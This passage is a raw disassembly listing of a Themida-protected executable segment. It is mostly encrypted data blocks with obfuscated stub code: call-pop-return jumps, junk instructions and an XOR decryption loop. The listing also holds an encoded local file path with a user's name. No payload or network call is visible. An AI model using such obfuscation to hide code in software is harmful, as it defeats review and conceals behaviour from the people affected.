0E5306016h dd 0A1AA3616h, 0F4F41932h, 9E7D88F1h, 0BAE7C404h, 720A450Ch dd 0BC3CB857h, 54B7DA21h, 0A1B3C3DBh, 0B576B232h, 0A0B0198Ch dd 0F2B1E674h, 0A1B145DAh, 62EA0332h, 85ED1869h, 85F54936h dd 0A1B17836h, 62E27132h, 0A2CBE43h, 8A3800D5h, 7A3020BFh dd 243C9880h, 0A7A4E79Ch, 286137CEh, 0B3B3F58Fh, 0AE71B734h dd 0A1B331B6h, 0F7B1E632h, 0A1B145DAh, 62EF0332h, 85C5186Ch dd 85F54936h, 0A1B17E36h, 62E77432h, 36C71BBEh, 28D66D7Ch dd 0B3A60BBFh, 0C789A234h, 0AEB3930Fh, 0A1B180B7h, 0F7B10E32h dd 0A1B131DAh, 62EF3932h, 85C5056Ch, 85F5C736h, 0A1B13536h dd 62E7D732h, 1B99C348h, 0A2DDF6CEh, 0A1B135DBh, 0D9C51832h dd 44EC3586h, 0C7B73EB3h, 0AECB7C0Fh, 0A1B07EB6h, 280CEB32h dd 2AB7761Ah, 0B3B113AFh, 99307F34h, 24BEECAEh, 0A1B1465Fh dd 8360B6BBh, 5D079720h, 49B3B0B2h, 0A1EAE13Dh, 0A1DB3232h dd 0A1B2F165h, 0FE918C32h, 0DD3819F1h, 0E5302716h, 0A1AC9516h dd 0F6F6C832h, 84211EF1h, 36A415D2h, 0C7E721D5h, 0A1B7F4B3h dd 8B3449F2h, 0CBB12332h, 0A259C332h, 81B1C832h, 28EBA768h dd 20B51666h, 0BBB53D76h, 0E3B18C32h, 0A81B8560h, 5A9315ADh dd 7B3AF70Fh, 0A1B0A3DBh, 0A0B1DA32h, 16BE4C33h, 0F3494FAh dd 2AB79944h, 0B39613BFh, 2161DC34h, 6134BFC4h, 0A0A24C3Dh dd 0A1DB6432h, 0A1B2DA63h, 0F8911932h, 0ED38D5F1h, 0E5304216h dd 0A1AA2716h, 0F0F09132h, 299D4DF1h, 3310FE30h, 4989B273h dd 0A1EC9C3Dh, 0A1DB8C32h, 0A1B2AE60h, 0FB912332h, 0F538CBF1h dd 0E530CC16h, 0A1A96016h, 0F3F33232h, 4844E2F1h, 28E29B7Dh dd 0B396D38Fh, 343A7834h, 0A7A389AFh, 814075B9h, 0D9316220h dd 24BE4137h, 0A1B1192Dh, 0AD1C01B9h, 0D9314020h, 25BE7035h dd 0A1B191E2h, 0A1B1C2DBh, 0F82D8532h, 588992FAh, 0C7937700h dd 0A43EB4B3h, 0A1CEC33Dh, 14382332h, 0A7A3B6F7h, 0A1B1C3DBh dd 4645F932h, 0E4B2E8BDh, 8006B2BFh, 0C9B7F4B2h, 0A1EEC33Dh dd 0A1DB2332h, 0A1B27960h, 0FB91C832h, 0F5383EF1h, 0E5303616h dd 0A1A61D16h, 0F3F38C32h, 363397F1h, 0D9304588h, 0AE946E39h dd 0A1B1FCB7h, 0A4386B32h, 0C7B13232h, 742BC2B3h, 0A1B1D7DBh dd 0F2B12C32h, 0A1B120DAh, 62EAB132h, 85ED4169h, 85F5E536h dd 0A1B12E36h, 62E25A32h, 0A4DBA818h, 6AD69114h, 0A1B19B0Fh dd 0A1DB9132h, 0A1B22061h, 0FA916432h, 0FD3869F1h, 0E5301D16h dd 0A1A88816h, 0F2F24632h, 0BC5681F1h, 0A88C83A8h, 0B399D987h dd 0A1918D34h, 14B83232h, 0A7A31597h, 0A1B18D8Ah, 0A1BCAF32h dd 46292332h, 7BD4D261h, 8D9C73D3h, 0AEA599C2h, 48E1FB85h dd 0A1B11938h, 90D782C9h, 4CB244A1h, 0A5381ADCh, 4630F716h dd 1C3CDF4Ch, 0A7A63655h, 0F9BDBFBFh, 82091F25h dd 0A2C6EA67h, 0B395E3B7h, 607E0834h, 0A0B1DADBh, 16BE4C33h dd 0F3494FAh, 2AB79944h, 0B39613BFh, 2161DC34h, 0E983BFC4h dd 58A4F305h, 0B5316060h, 612161Dh, 1DC98D89h, 60610612h dd 9E8h, 7D16E500h, 0BB79D298h, 0F55A67C5h, 89606161h dd 1226C585h, 4ED98006h, 0FC00B61h, 6E84h, 55006A00h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h dd 0F155B2Ch, 88Bh, 858B6000h, 612154Dh, 0B9950B61h, 8D061213h dd 124E4BB5h, 0BDBD8B06h, 0B8061207h, 3, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 16h, 5CC35141h, 88BF4A87h dd 0FF2CC9AAh, 5DF81E6h, 407E31BAh, 23819D29h, 0C08B0612h dd 8E9h, 40A54E00h, 5443F459h, 1BD833Fh, 6122Fh, 0BD830975h dd 6122149h, 50197400h, 0B8C08B53h, 403h, 2B98589h, 9D8D0612h dd 614AD70h, 585BD3FFh, 2149BD83h, 74000612h, 0B8535017h dd 403h, 2B98589h, 9D8D0612h, 614AA11h, 585BD3FFh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 79C35242h, 1AE8A93h dd 0AE9h, 0C7D6A900h, 86CD1F7Dh, 8B321281h, 57006AD7h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 6672D1C9h, 8B3C00BAh, 69958BC0h, 61061228h, 5A688D8Dh dd 0AE90617h, 9D000000h, 0C30A7F81h, 2C4C9543h, 0CD8D8921h dd 6A06122Dh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 17042444h, 46000000h, 1293C356h, 858BA09Ch, 612331Dh dd 31BD85C7h, 72F00612h, 0B58B0000h, 6122ED1h, 1185C7h dd 612h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 150424h, 51410000h, 661294C3h, 0FF3AAEBAh, 120C89B5h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h dd 0C3554500h, 5DF4230Fh, 0D8EECA32h, 8B669D85h, 8195FFD6h dd 6A061227h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1C042444h, 41000000h, 0D259C351h, 170FF170h, 668723D0h dd 6AE9A9BAh, 0D195FF00h, 8B061229h, 2B4AEBC0h, 0E3DDF67h dd 162CFF0h, 20A6A684h, 806E4064h, 8F8E04F3h, 0BAE428FBh dd 0A4A86946h, 0F10B29A3h, 92C93DD0h, 457934F9h, 3BDF359Bh dd 370A1B02h, 63D14819h, 0B69423EFh, 9A1317C8h, 0DA80BFA8h dd 1B9CDBBEh, 7C4062DCh, 0D78D8DBAh, 6A06175Bh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h dd 0A865C357h, 2DCD8D89h, 6A0612h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 160424h, 57470000h, 379D5BC3h, 0C8B70F60h dd 14E9h, 0DA36800h, 61FA69F8h, 0D7574409h, 7257B9DEh dd 0E172CDD3h, 0AE86163h, 24000000h, 0A1CE56CFh, 669F797Eh dd 0AE970h, 0ADBA0000h, 8FCB49A7h, 22F12DFEh, 58D315Bh dd 0C7061215h, 1231BD85h, 691406h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 0F7E443C4h dd 0C58D67F9h, 85C76E19h, 6120011h, 0 ; --------------------------------------------------------------------------- mov ax, 0ECEDh push dword ptr [ebp+61214C1h] push 0 push esi call sub_5D1669 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D1669 proc near ; CODE XREF: Themida_:005D1661p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 14h inc esi push esi retn sub_5D1669 endp ; --------------------------------------------------------------------------- inc ebp mov [ebp+612162Dh], ecx call dword ptr [ebp+6122781h] push 0 push ecx call sub_5D1691 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D1691 proc near ; CODE XREF: Themida_:005D1689p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ch inc ecx push ecx retn sub_5D1691 endp ; --------------------------------------------------------------------------- jo short near ptr loc_5D170E+2 fmul qword ptr [edx] imul ebp, esp, 6A7766h call dword ptr [ebp+61229D1h] mov eax, eax jmp short loc_5D1702 ; --------------------------------------------------------------------------- dw 838Ch dd 1BA6E3C4h, 0CFC0696Eh, 7F2C02B2h, 5F68FBCFh, 0F8CFE6E6h dd 7BE68ABBh, 3ADAB403h, 0CEB371AEh, 11BA2114h, 530D148Ah dd 6E8409A1h, 5B9030BCh, 9156D889h, 550F9F58h, 18313D48h dd 0B6722024h, 0C95D75AEh, 0D16C54F2h ; --------------------------------------------------------------------------- aas movsd loc_5D1702: ; CODE XREF: Themida_:005D16B4j call near ptr loc_5D170E+1 xchg bh, [edi+7906435Eh] xlat loc_5D170E: ; CODE XREF: Themida_:loc_5D1702p ; Themida_:005D16A1j shr al, 0Ch ; --------------------------------------------------------------------------- db 3 dup(0) ; --------------------------------------------------------------------------- mov ds:9C39C401h, al icebp sbb dword ptr [ebx-0Eh], 0FFFFFFDEh scasb or eax, 1D9D9533h adc al, [esi] pop ecx pop eax mov edx, ecx add eax, 6484h add bl, 5Fh xor esi, esi pusha xor [ebp+6120F19h], edi mov esi, [ebp+6123389h] popa loc_5D1743: ; CODE XREF: Themida_:005D17A9j push dword ptr [esi+eax] mov ecx, [ebp+6121C9Dh] pop edi mov edx, [ebp+6122D75h] sub edi, 0B9F32BFh mov [ebp+6120B41h], ecx xor edi, 3EC10214h mov bx, 0FB41h xor edi, 42BE15E0h mov bh, 0D3h push edi mov bx, si pop dword ptr [eax+esi] sbb cx, 0F21Ah mov dx, si sub esi, 4 mov edx, 5DD0CF95h cmp esi, 0FFFF9C24h jnz loc_5D17A7 mov edx, [ebp+612330Dh] jmp loc_5D17B3 ; --------------------------------------------------------------------------- db 0F3h ; --------------------------------------------------------------------------- cdq dec esi xor ecx, [edi-4Fh] retf ; --------------------------------------------------------------------------- xchg eax, edi loc_5D17A7: ; CODE XREF: Themida_:005D178Ej mov bh, 0B5h jmp loc_5D1743 ; --------------------------------------------------------------------------- mov eax, ds:38E64948h loc_5D17B3: ; CODE XREF: Themida_:005D179Aj call near ptr locret_5D17BF+2 dec eax ror byte ptr [ecx-5F4D6ADFh], cl locret_5D17BF: ; CODE XREF: Themida_:loc_5D17B3p retn 0BE77h ; --------------------------------------------------------------------------- dw 6B34h dd 0E85A440Fh, 13h, 0A396059Ah, 0DC5F5EA3h, 0F333B286h dd 9FD838C9h, 0FF5828Fh, 86h, 0C2815800h, 65ECh, 0FEE68166h dd 6631B9CDh, 0C181176Dh, 0E892B31Dh, 25BDB58Bh, 32FF0612h dd 56605FFCh, 8B1B589h, 0F5E0612h, 48Ch, 49BB6600h, 0C781611Bh dd 752FC5F6h, 7E8h, 7AA52800h, 746DD8C6h, 81585E56h, 0EB2E9C7h dd 0C2B86672h, 0AEF8179h, 811F685Eh, 5EBEB5C8h, 858B5709h dd 61228D1h, 0F60028Fh, 0F38AFEB7h, 4EA8361h, 68D0Fh, 0B58B0000h dd 61232C9h, 1E981h, 850F0000h, 0FFFFFF92h, 0D4712ADEh dd 0DC4B46D4h, 0C8557F01h, 98525CD4h, 0A90B3363h, 982633A9h dd 5E265AF1h, 8A33F2EFh, 0B44E6033h, 67A5E4FFh, 8A1732F8h dd 0E2A3BEA0h, 672026D1h, 0C5A3BA79h, 1B2021CCh, 8A08DED7h dd 1D293333h, 98263383h, 0C580B6C0h, 157635B1h, 8F7BABD6h dd 0DD963AFh, 9E342B89h, 98266483h, 15235935h, 8F7B9B1Fh dd 1DAB634Bh, 9E316E3Eh, 0D5B3CC03h, 932021BDh, 0A1A23C14h dd 1526336Ah, 8F7B9BB0h, 0AACE639Ch, 0D826334Dh, 36A3BEF6h dd 0C820240Eh, 0C58EB624h, 677635C3h, 8A3512FFh, 94E2B033h dd 0C58EB617h, 1576355Ah, 8F7BAB23h, 0DD96355h, 9E342BF4h dd 9826513Dh, 74AD666Ah, 0CE746464h, 0AB2E4E11h, 9824DA8Dh dd 0DF6633A6h, 97260CD3h, 67D9C62Ch, 13EF002Bh, 0B2CF3B17h dd 0AB263335h, 1831B948h, 68AD03A7h, 5AAD63E8h, 982C8800h dd 9BCF33A9h, 6F2633D4h, 66A57D89h, 6CA13C35h, 0C3D9CC65h dd 0DF7EFB4Eh, 97E638EEh, 67D9FDD6h, 0C6E7B856h, 517F6C8Eh dd 152637A8h, 8F7BA588h, 53ABBE9Ch, 20202413h, 93h, 71E7FC78h dd 0D0073102h, 4C783C8h, 0F2850F49h, 8DFFFFFFh, 175ECBB5h dd 0EA8D8D06h, 2B06175Eh, 5E983CFh, 8D8DC88Bh, 6175FFBh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 1C35242h dd 6F48DF81h, 8D89746Bh, 6122DCDh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 17h, 6C35040h, 0F8B01D3h, 85C7D2BFh dd 61231BDh, 5B04h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ah, 42C35646h, 0B7EF97EDh, 8C0F5335h, 6 dd 3041B531h, 85C70612h, 6120011h, 0 ; --------------------------------------------------------------------------- push 0 push edi call sub_5D1A63 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D1A63 proc near ; CODE XREF: Themida_:005D1A5Bp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 19h inc edi push edi retn sub_5D1A63 endp ; --------------------------------------------------------------------------- mov dl, 0BAh add al, 37h jecxz short loc_5D1AE4 push dword ptr [ebp+6120835h] xor [ebp+6122419h], edx call dword ptr [ebp+6122781h] push 0 push edx call sub_5D1A96 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D1A96 proc near ; CODE XREF: Themida_:005D1A8Ep arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 18h inc edx push edx retn sub_5D1A96 endp ; --------------------------------------------------------------------------- dw 20C6h dd 0E989FC44h, 12h, 0AFA788Ah, 0C12E0BF0h, 8E9AA192h, 0CE921CC5h dd 0E2819E25h, 377DEC18h, 281DB58Bh, 6A0612h, 29D195FFh dd 0C08B0612h, 0D5E24DEBh, 8D94B09Eh, 8EC0A284h ; --------------------------------------------------------------------------- loc_5D1AE4: ; CODE XREF: Themida_:005D1A77j adc eax, [ebx] dec esp mov ds:0E13B14F8h, al retf 177Bh ; --------------------------------------------------------------------------- db 0ACh dd 0A607B0Dh, 37651E4Eh, 0FB46AC5Ah, 0F072E251h, 0C9EB4883h dd 0EFCFB3A0h, 99D50F1Fh, 61953608h, 0A3CC68D2h, 604404D1h dd 2AE0F27Dh, 20E04872h, 8CD68CDEh, 8D55084Eh, 1761558Dh dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h dd 0C3534300h, 0C7BF0F4Ch, 2DCD8D89h, 6A0612h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h dd 277426C3h, 80FCED39h, 0B50BCD71h, 6121AC5h, 0AE9h, 0F1CD2000h dd 0A03EDEC2h, 0C7F5C71Eh, 1231BD85h, 6D3006h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h dd 9ED0FC1Dh, 85C70385h, 6120011h, 0 ; --------------------------------------------------------------------------- sbb di, 5653h push dword ptr [ebp+61232E5h] push 0 push eax call sub_5D1BD6 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D1BD6 proc near ; CODE XREF: Themida_:005D1BCEp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ah inc eax push eax retn sub_5D1BD6 endp ; --------------------------------------------------------------------------- dw 77D8h ; --------------------------------------------------------------------------- cmp al, 38h aad 1Ch retn 6E8h ; --------------------------------------------------------------------------- align 10h dd 5C60000h, 1C04694Ah, 0FF5B6EB4h, 12278195h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h dd 0C78177A6h, 367A5385h, 5EC6BF66h, 95FF006Ah, 61229D1h dd 7CEBC08Bh, 1C3C3B21h, 0C95FB17Bh, 2EEAC6ECh, 0E0598472h dd 0B185F4CBh, 0E23BFFA1h, 8E5A4984h, 0E302B385h, 6D272884h dd 5D56EC79h, 0EB7F286Ch, 0C3F3ED26h, 1CD14BBAh, 8BEC9CFEh dd 6650DD1Bh, 2D8FD053h, 8E07AEB8h, 0D52F4BE8h, 0E2CA339h dd 936BA091h, 647E7BCh, 1B0F4575h, 63FA0301h, 0D03E0Eh dd 0EA1C7DB2h, 0F3A9189Ch, 0BCE79B5Fh, 0D788C7FBh, 20C42209h dd 78D211D2h, 861AFE72h, 0B0E9h, 8C666000h, 4C2F6DAh, 0C850Fh dd 853B0000h, 61217F1h, 36840Fh, 853B0000h, 612335Dh, 2A840Fh dd 853B0000h, 6122FD1h, 1E840Fh, 853B0000h, 6123081h, 12840Fh dd 0BD830000h, 61214ADh, 5840F01h, 0E9000000h, 5Fh, 5203D08Bh dd 88BA8B3Ch, 8B000000h, 0C985784Ah, 49840Fh, 0C2810000h dd 0F8h, 30C728Bh, 1C598BC8h, 314518Bh, 850B8BD8h, 10840FC9h dd 3B000000h, 17820FCEh, 3B000000h, 0F830FCFh, 83000000h dd 0F4A04C3h, 0FFFFDC85h, 0DE9FFh, 9D8D0000h, 6124E4Bh dd 5B8h, 61E3FF00h, 0E9D00BC3h, 8Ch, 1347A293h, 445C3A43h dd 6D75636Fh, 73746E65h, 646E6120h, 74655320h, 676E6974h dd 614D5C73h, 6D697472h, 72614320h, 656E6F62h, 7365445Ch dd 706F746Bh, 6169445Ch, 2E676F6Ch, 657865h, 13h dup(0) ; --------------------------------------------------------------------------- jmp loc_5D2D36 ; --------------------------------------------------------------------------- push 61764BAh jmp loc_59027A ; --------------------------------------------------------------------------- push 61765BDh jmp loc_59027A ; --------------------------------------------------------------------------- push 6176775h jmp loc_59027A ; --------------------------------------------------------------------------- push 61767CAh jmp loc_59027A ; --------------------------------------------------------------------------- push 617686Dh jmp loc_59027A ; --------------------------------------------------------------------------- push 61768F0h jmp loc_59027A ; --------------------------------------------------------------------------- push 6176D60h jmp loc_59027A ; --------------------------------------------------------------------------- push 6176FC1h jmp loc_59027A ; --------------------------------------------------------------------------- push 61770C9h jmp loc_59027A ; --------------------------------------------------------------------------- db 98h dd 0D177BD1Bh, 0BB1F74Dh, 41E72D8Bh, 761C62C2h, 17559BF5h dd 52AE2F8Bh, 8DE3660Ch, 0C91FA147h, 95FDD83h, 0BC008CC3h dd 21F75137h, 153162B3h, 0A0AE4197h, 427EC422h, 0F487DD5Ch dd 0CFDAC022h, 320CD71Bh, 64CE27E0h, 9474CE5Bh, 0D5272A2Eh dd 0B88350B1h, 0FA429D5Bh, 86509498h, 4421F247h, 0CDB47DAh dd 0ECDE0E19h, 65E1955Ah, 415AF7CBh, 2Eh, 0FF0C9DA8h, 5E8E2AD8h dd 7599EBC0h, 20B30D8Fh, 0A4E8EC4Eh, 21F22712h, 77E376E0h dd 0DE0E2168h, 8531F688h, 5AF7E809h, 0F2E5h, 97154C00h dd 1FA0AE41h, 319236C9h, 0A88CFB3h, 3E4719ACh, 0CAD30246h dd 48FDEF3h, 41AF1116h, 0C4D265C3h, 0A6AAF046h, 27E04C96h dd 0F422A389h, 0E04723B0h, 0EB3DA727h, 699D1B89h, 0E047DE25h dd 60B21C27h, 0A0F6741Ah, 0FF83690Dh, 2E7216A9h, 27E047A5h dd 769BB25h, 0E328821h, 0F24C08CAh, 0AA2D1321h, 61CBF052h dd 16ACFD1Bh, 0B6FA76F2h, 0DE0E582Dh, 318707ADh, 187ACC9Eh dd 1AF58A4Ch, 0BADE48D8h, 99FB51D4h, 0D22EAF95h, 0B65E68Ch dd 0AFE731B2h, 0D9C6C9F5h, 0CD5h, 347ADE5Bh, 6EB40A8Eh dd 0A4EA48C8h, 0E3297FFEh, 1E64BC3Dh, 7BFCC2E0h, 0B639DF25h dd 0F072185Eh, 2CAA5096h, 0C14D84CAh, 0F756767Dh, 0F2237421h dd 991D037Fh, 328C5743h, 0E44E27E0h, 3D931482h, 59AF3319h dd 6C92F4C6h, 0A8EE48C6h, 7103866Ch, 0B04395F3h, 9D9B7CDEh dd 1692B60Ch, 0C957AD30h, 885AED4Bh, 13C45A26h, 2C9621F2h dd 0ECA22D99h, 0AC3EDE0Dh, 1CC33FCBh, 0BD9F5AF8h, 6000000h dd 1D419715h, 0C75AB637h, 8CDE36B9h, 28A9B72Ah, 0C9D13DD0h dd 4A27E036h, 56B02ECCh, 0E9E8F1C3h, 0C138B503h, 17BD0355h dd 26AC3F99h, 0D91D4183h, 0DE0DF33Bh, 7FD95B01h, 0E0C9E72Dh dd 9D72B6DAh, 5DD81924h, 0D753CFF3h, 39244093h, 60E48AD4h dd 53A5770Ah, 0EF0283F1h, 3BF86E22h, 6488DA80h, 315FA4E8h dd 0D252D439h, 63C52F74h, 316973Dh, 29F1CC1h, 64BD0F2Fh dd 0F5AFE9E9h, 0D2998689h, 5800000Bh, 91377DDBh, 0CB71B70Dh dd 1A7ED4Bh, 36DC2282h, 0D7155BB5h, 126EEFCBh, 4DA326CCh dd 89DF6107h, 0C91F9D43h, 7CC04C83h, 21F75777h, 15F12273h dd 50F63C94h, 152E74D2h, 0AE419715h, 0A0C422A0h, 9F64A824h dd 5B27E032h, 32FE05F1h, 92FC27E0h, 0BDEC0A30h, 0BD9FE307h dd 7F21F21Ch, 0ACFE56D9h, 0E322AD19h, 2CBEDE0Dh, 2943BF4Bh dd 0E1F5AF8h, 63000000h, 0FA2FA7Dh, 36FADB3Dh, 89Ah, 7A0C9D6Dh dd 264A9CFAh, 0F21BD4E2h, 82C9621h, 0ADABD7A7h, 2A8CB083h dd 0CD2BA9B7h, 3363E187h, 0D29E4EFh, 0C240E6DEh, 0ADFFD164h dd 0C7D6375Bh, 0E0219BEFh, 0D6D32064h, 0AD17DE0Dh, 1A86F95Bh dd 0B949F5E7h, 0FC7CDD51h, 83AE7264h, 47273784h, 0F613ED4h dd 0CEAC93ADh, 0ECD2F650h, 0AF81146Ah, 381274Dh, 58A612A5h dd 82B54993h, 23A19F60h, 5BD97FC5h, 931CE72Bh, 74DEB549h dd 6FEB8F22h, 4993D82Bh, 56B822B5h, 0B66C808Ah, 0E8CFD14Ah dd 0BC12967Ch, 87F55729h, 0C369AF09h, 0CA50E345h, 75B9DDDFh dd 0B35BB14Bh, 0CBD91F89h, 2247A8F6h, 0E5F4B847h, 0D0D9BF21h dd 0B482C6EAh, 36AD651Eh, 0C13D91CCh, 6516767Dh, 10A74A1h dd 564BC115h, 0B581E371h, 7F75B1D9h, 0C9EDCFDAh, 0A85A5168h dd 5C1CA28h, 4CE9DBB0h, 30CCE3B7h, 34787CDEh, 8986812Ah dd 95FE3C9h, 1D42A476h, 0F9A20B3h, 0C04589ADh, 0B283971Ch dd 7CFC8E0Ch, 6FC19326h, 94B80ADCh, 189A30AEh, 80266CBEh dd 8CEA6802h, 0C21155F9h, 8BBAD1Bh, 0A1FA4C9Eh, 9A3B730Eh dd 1AD6C3C6h, 0A000000Ah, 0D97FC523h, 13B9FF55h, 49EF3593h dd 7E246ACAh, 1F5DA3FDh, 5AB63783h, 95EB6E14h, 0D127A94Fh dd 1167E58Bh, 0C40894CBh, 21F7553Fh, 7F396ABBh, 0A65EED1Eh dd 0E00F9162h, 0E6EF5927h, 9CFE2C73h, 9B1AB02Eh, 86D8AA3Dh dd 76F5942Dh, 74616406h, 9C5h, 246ACE4Bh, 5EA4FA7Eh, 94DA38B8h dd 0D3196FEEh, 0E54AC2Dh, 6BECD2D0h, 0A629CF15h, 0E062084Eh dd 1C9A4086h, 0B13D74BAh, 0F755666Dh, 0E2136421h, 87059715h dd 7ACC9E31h, 58D9E7h, 0B5C9ACBAh, 66AACEF4h, 21F22758h dd 5975B01Ah, 1FB0814Bh, 3F635950h, 0C2A16DFBh, 72056F19h dd 0E307BDECh, 6BEA7EFDh, 5559BB0Dh, 3ED778D9h, 0B9EF7C87h dd 81068B57h, 9D1913EBh, 0E89D8A59h, 84E6500Bh, 0EBD1F55Fh dd 0BD4FCF6Dh, 0FE91E339h, 0C21C9E2Ch, 0C50B5D2Fh, 0EE47A11Fh dd 2A7EF54Dh, 22AD9A9Dh, 0A8000009h, 0E187CD2Bh, 1BC1075Dh dd 51F73D9Bh, 862C72D2h, 2765AB05h, 62BE3F7Bh, 9DF3761Ch dd 0D92FB157h, 196FED93h, 0CC109CD3h, 21F75A07h, 154172C3h dd 0A0AE4197h, 7E82C81Eh, 27E03215h, 0B2F9514h, 0F750AEC7h dd 2CAA5021h, 6E5478CAh, 8C7296F0h, 0A826B40Ah, 87E9BB4Eh dd 0BF3F2561h, 7604D669h, 0D13FA1F7h, 5462F553h, 0DCEA7DD3h dd 0E5EE325Ah, 0E5DE08ACh, 5DD0297Bh, 0F5FF9EC4h, 89F05F2h dd 0A8250000h, 0E0640A50h, 1E9E448Ah, 5DDC82C8h, 9A1BC107h dd 0E8BAF83Eh, 0B1F751D2h, 0EA30880Bh, 266CC244h, 5EA40280h dd 8C579B27h, 4E21F75Ah, 9715CCFDh, 32D82B6Fh, 0B82227E0h dd 47C5D366h, 3208DB1Fh, 68D227E0h, 6CFF59DAh, 0D8B5489Ah dd 465F1B6h, 624D3009h, 0D32FF45Dh, 38722B2Fh, 981684E6h dd 209CF83Eh, 0FE54E5A6h, 57Ah, 0B60C9D65h, 0AE301692h dd 65F3C558h, 26F88BE1h, 5079F8C4h, 26A221F7h, 8AF11E2h dd 0D6FD9DEh, 745A7EE8h, 3A3EA0F6h, 3A80D654h, 7BFC8C1Ch dd 99099225h, 6C3AE710h, 801365B7h, 95F87BDCh, 4217B766h dd 7DDF35B4h, 64D969B1h, 0B87F11A7h, 69DB900Ch, 506ED4h dd 9DD50000h, 1995B90Bh, 0F658B033h, 0E032D92Ah, 0DA5C4227h dd 32656EB2h, 0FB6527E0h, 880816A9h, 73C5972Ah, 0EF82EC11h dd 8EE6654Bh, 50D3602Ch, 23B50787h, 5A2CA85Ch, 130A754Dh dd 71000000h, 0C117997Fh, 23F125Fh, 40260000h, 1D366BCh dd 1E7FBE9Fh, 789DC6C9h, 9D83E57Fh, 0BA26B90Bh, 5E8C0162h dd 13A7881Ah, 0CE520797h, 4F73h, 0B9DDA00h, 3250A3E7h dd 309A27E0h, 323BC80Ch, 55BF27E0h, 75F9DF03h, 0B60860E3h dd 7CEF5123h, 8C5EF710h, 5A67EA5Eh, 7D320F6Ch, 23B60845h dd 0A83B9115h, 0F5B778FAh, 92D652CEh, 0A1730A41h, 0A3BD1F89h dd 0BEAC28DCh, 958ACE52h, 0F1000000h, 282F1E7Fh, 0E1213483h dd 0AD0F997Fh, 0C325A389h, 0CA195D61h, 1027E067h, 1B9C82A6h dd 6724AFF3h, 3CA627E0h, 238557EAh, 8AE4CA13h, 0BF432915h dd 7604D669h, 36089BF5h, 41F5BAD4h, 54E5E4C5h, 8B13A304h dd 78466351h, 390B9EF4h, 411E85E7h, 85000000h, 1C071E7Fh dd 84E5175Bh, 586C3C22h, 4BE1F034h, 43E927E0h, 2D467C1h dd 5E1100F9h, 97E9077Ch, 0E2001273h, 0F3A2665Eh, 5027A591h dd 4DF9BEC8h, 54E524D1h, 7ADh, 36361400h, 6D000001h, 0E436h dd 0B9D6D00h, 76BA26B9h, 2672B071h, 0AB27D394h, 87AA3639h dd 0B2h, 0F80B4FCBh, 238D4F87h, 4F8714DFh, 276CD68Dh, 9D7A5BBDh dd 5195B90Bh, 27E03282h, 3EBADE48h, 0E032E9FAh, 5CE1227h dd 0C527E032h, 4AAC165Bh, 1FBC6BD7h, 0A9C07C0h, 47CBB125h dd 0C2111C3Ah, 27792D2Ch, 4B25A1C5h, 3647506h, 28954DDFh dd 5CC3250Bh, 54h dd 0E036BAA0h, 38197B4Dh, 0FD7D0B9Dh, 0F04214A7h, 327B88CCh dd 0BAA027E0h, 784ADD3Bh, 32C31054h, 9D0727E0h, 96DA163Bh dd 27E0324Dh, 0ADD1238Dh, 58EB45C7h, 186ACC4Ah, 28D743B6h dd 84AC01Fh, 8905B176h, 0C8C20623h, 730660E2h, 7D83FA1h dd 3F000000h, 6836h, 97156D00h, 0B442AE41h, 127E032h, 0DC5A5017h dd 96DA567Ah, 27E0324Dh, 9BC1238Dh, 0E70B9D82h, 0E03250A3h dd 0FD32D627h, 0DB625AE8h, 0CEDA2C96h, 242E2A50h, 2FE0F43h dd 0F3327E0h, 2844F93h, 5E8227E0h, 0A1151491h, 0EF51BB00h dd 0E5D250CBh, 0FEE42A54h, 0D6EFFFFh, 333D332Bh, 50CE5CDEh dd 36B394F6h, 29Ah, 4197156Dh, 0C422A0AEh, 3749607Eh, 42A020B4h dd 398BDDAFh, 35B39915h, 0C6E40D3h, 0F21DB640h, 37CA3421h dd 0DE33CCBh, 0E6F375DEh, 11C735F3h, 0B94C9EA7h, 3BCE2AABh dd 42E4CBCDh, 12A6891Bh, 5AF80296h, 1272F1D7h, 0DD8AF67Fh dd 0C7F17ED0h, 939C6C75h, 2F559A72h, 3E66CDh, 0C4AA0000h dd 8759EC42h, 997F4425h, 795FC117h, 80668A30h, 4347A9FFh dd 0F213B9FFh, 16953B21h, 56AC30BEh, 0E7CD7104h, 0AC7E1167h dd 0ED717E4Ah, 0FD8FDE0Dh, 1C128E3Ah, 0DDF05AF8h, 57000000h dd 0BF15997Fh, 8AF85A2Ch, 7317AA0Ch, 0C56EA912h, 1678703Fh dd 3ED127A8h, 3054B230h, 0D96CCA4Ah, 2432A507h, 60A50A6h dd 27E01D36h, 